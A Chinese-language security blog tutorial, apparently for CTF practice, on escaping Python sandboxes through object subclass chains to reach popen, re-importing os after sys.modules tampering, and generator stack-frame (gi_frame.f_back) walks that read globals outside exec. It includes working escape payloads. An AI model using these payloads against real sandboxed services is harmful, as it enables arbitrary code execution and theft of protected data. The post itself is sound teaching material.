Python中的沙箱逃逸

Web 安全 发布于 2025-11-09 最后更新于 22 天前


python下的Rce环境

object类

在 python 中,所有类的顶层父类是 object 类,所有类都直接或间接的继承于 object 类。object 类供了许多基础功能,例如 __class____dir____getattribute__ 等属性。

object 下有很多直接子类,可以通过 __subclasses__ 类方法获取 object 的所有子类:

Python
print(object.__subclasses__())
Python

命名空间

在 Python 中,命名空间(Namespace)是一个用于存储标识符(如变量名、函数名、类名等)及其对应对象的字典。命名空间的主要作用是管理和维护对象的可访问性和生命周期。每个命名空间都包含了一些名字和它们所代表的对象。

内置命名空间

内置命名空间(Built-in Namespace)是一个特殊的命名空间,包含了所有 python 内置的对象、函数等。它是在 python 解释器启动时自动加载的,对于整个 python 程序都是可用的。

builtins 模块包含了所有 python 解释器启动时自动加载的内置对象,内置命名空间的内容就是 builtins 模块中的内容。

__builtins__ 是指向内置命名空间

查看内置函数

Python
print(__builtins__)
Python

通过 __builtins__ 调用内置函数

Python
__builtins__['print'](1)
Python

全局命名空间

全局命名空间(Global Namespace)是模块级别的命名空间。

globals 函数可以访问当前模块的全局命名空间。

Python
# 访问全局命名空间
print(globals())
Python

了解了全局命名空间的概念后我们还要知道 __globals__。 每个函数在 python 中都有一个 __globals__ 属性,它指向该函数被定义时所在模块的全局命名空间

sys.modules

sys.modules 是一个字典,存储了 Python 解释器加载的所有模块,在 python 启动时默认含有一些模块。

我们在写 python 程序的时候,import 的作用是把模块加入全局命名空间。import 时会先检查 sys.modules ,sys.modules 中已有的模块从 sys.modules 中加载,否则从模块文件中加载。

动态访问

在 python 中有着非常丰富的动态访问功能:

  1. python 允许通过点(.)操作符访问类对象、实例对象的属性和方法,调用模块中的函数。
  2. object 类及其子类有着丰富的内置方法。

Rce的实现

有了上述基础知识的铺垫外,我们可以轻松的理解一些 python 中的 Rce 姿势。

关键词过滤

可以通过 eval 和 exec 这两个代码执行函数绕过,因为在这两个函数中系统命令语句作为字符串呈现,而字符串本身有着非常多的拼接和编码方式。

环境过滤

全局命名空间过滤

如果直接从全局命名空间上进行过滤,例如无法使用内置函数,这时候可以通过链式访问来进行 Rce。

我们知道在 python 解释器启动的时候默认会加载一些模块,储存在 sys.modules 中。如果我们能通过某种方式拿到这些已经加载的模块全局命名空间中的系统命令执行函数,就能实现 Rce 了。而 python 中丰富的动态访问功能提供了实现。

我们拿一个 payload 来举例说明。

Python
"".__class__.__base__.subclasses__()[下标].__init__.__globals__['popen']('ls').read()
Python

首先我们拿到 object 基类:

Python
"".__class__.__base__
Python

由此获取该环境中所有的子类(包括在 sys.modules 中初始化时加载的类):

Python
"".__class__.__base__.subclasses__()
Python

我们的目标是拿到某个模块全局命名空间中的系统命令执行函数,所以首先要找到满足这个条件的特定子类。

Python
"".__class__.__base__.subclasses__()[下标]
Python

__init__ 方法是访问该类的构造函数,而函数对象就有 __globals__ 方法,就能获取到该模块的全局命名空间。由此成功实现 Rce。

Python
"".__class__.__base__.subclasses__()[下标].__init__.__globals__['函数']...
Python

sys.modules过滤

Python
import sys
sys.modules['os'] = 'not allowed'
Python

如果直接对 sys.modules 下手,篡改其中的模块对象,被篡改的模块就彻底没法用了。注意这里不能直接把待过滤模块直接删了,只是删除的话 import 的时候解释器会直接从文件加载。

这里可以这么绕过:

Python
del sys.modules['os']
import os
os.system('ls')
Python

删除该模块之后就能实现重新加载。

栈帧逃逸

栈帧

在 Python 中,栈帧(stack frame)是函数或方法调用时为每个调用创建的一个内存结构。它包含了函数执行过程中需要的各种信息,包括局部变量、函数参数、返回地址等。当函数被调用时,Python 会将栈帧压入调用栈,执行完成后,栈帧会被弹出。

栈帧对象的内置属性

Python
f_globals: 字典,包含该栈帧对应函数或方法所在模块的全局命名空间。
f_locals: 字典,包含该栈帧对应函数或方法的局部变量。
f_back: 栈帧对象,指向上一级调用的栈帧。
f_code: 代码对象,包含该栈帧对应函数或方法的字节码指令、常量、变量等信息。
Python

生成器捕捉栈帧对象

生成器特殊的函数,通过 yield 关键字来定义。跟普通函数的区别在于,生成器函数每次遇到 yield 时,都会暂停并保存当前状态(局部变量、执行位置等),当下次调用 next() 时,会从上次暂停的地方继续执行。

Python
def f():
    a = 1
    while 1:
        yield a
        a += 1

f=f()
print(next(f))
print(next(f))

# 1
# 2
Python

生成器有一个内置属性 gi_frame,指向这次调用所创建的栈帧对象。

Python
def f():
    a = 1
    while 1:
        yield a
        a += 1

f=f()
print(f.gi_frame)

# <frame at 0x74bacb4668e0, file '/CTF/Python/0Test/test.py', line 1, code f>
Python

栈帧逃逸的实现

Python
test.py

flag="flagflag"
payload='''
def f():
    yield f.gi_frame.f_back.f_back.f_globals['flag']
f = f()
frame = next(f)
print(frame)
'''
locals={}
code=compile(payload,"test1","exec")
exec(code,locals)
Python

我们来看每一步分别实现了什么:

Python
flag="flagflag"
payload='''
def f():
    yield f.gi_frame
f = f()
frame = next(f)
print(frame)
'''
locals={}
code=compile(payload,"test1","exec")
exec(code,locals)

# <frame at 0x7031974fa8c0, file 'test1', line 3, code f>
Python
Python
flag="flagflag"
payload='''
def f():
    yield f.gi_frame.f_back
f = f()
frame = next(f)
print(frame)
'''
locals={}
code=compile(payload,"test1","exec")
exec(code,locals)

# <frame at 0x7ff7d792a750, file 'test1', line 6, code <module>>
Python
Python
flag="flagflag"
payload='''
def f():
    yield f.gi_frame.f_back.f_back
f = f()
frame = next(f)
print(frame)
'''
locals={}
code=compile(payload,"test1","exec")
exec(code,locals)

#  <frame at 0x70be5c12f100, file '/CTF/Python/0Test/test.py', line 11, code <module>>
Python

到这里就已经实现沙箱的逃逸了。

注意这种写法无法实现逃逸:

Python
flag="flagflag"
payload='''
def f():
    yield f.gi_frame
f = f()
frame = next(f)
print(frame.f_back)
'''
locals={}
code=compile(payload,"test1","exec")
exec(code,locals)

# None
Python

在生成器中必须要 yield 到 f.gi_frame.f_back,如果只是 yield 到 f.gi_frame 第一次 next() 时该栈帧就脱离了调用栈,之后再操作该栈帧对象时 f_back 就不再指向 exec() 创建的栈帧了。

可以用 for 关键字实现 next() 函数的平替:

Python
payload='''
def f():
    yield f.gi_frame.f_back.f_back.f_back.f_globals['flag']
f = f()
f = [x for x in f][0]    # 获取生成器的第一个值,相当于 next() 一次
print(f)
'''
Python

精简写法:

Python
payload='''f = (f.gi_frame.f_back.f_back.f_back.f_globals['flag'] for i in [1])
f = [x for x in f][0]    # 获取生成器的第一个值,相当于 next() 一次
print(f)
'''
Python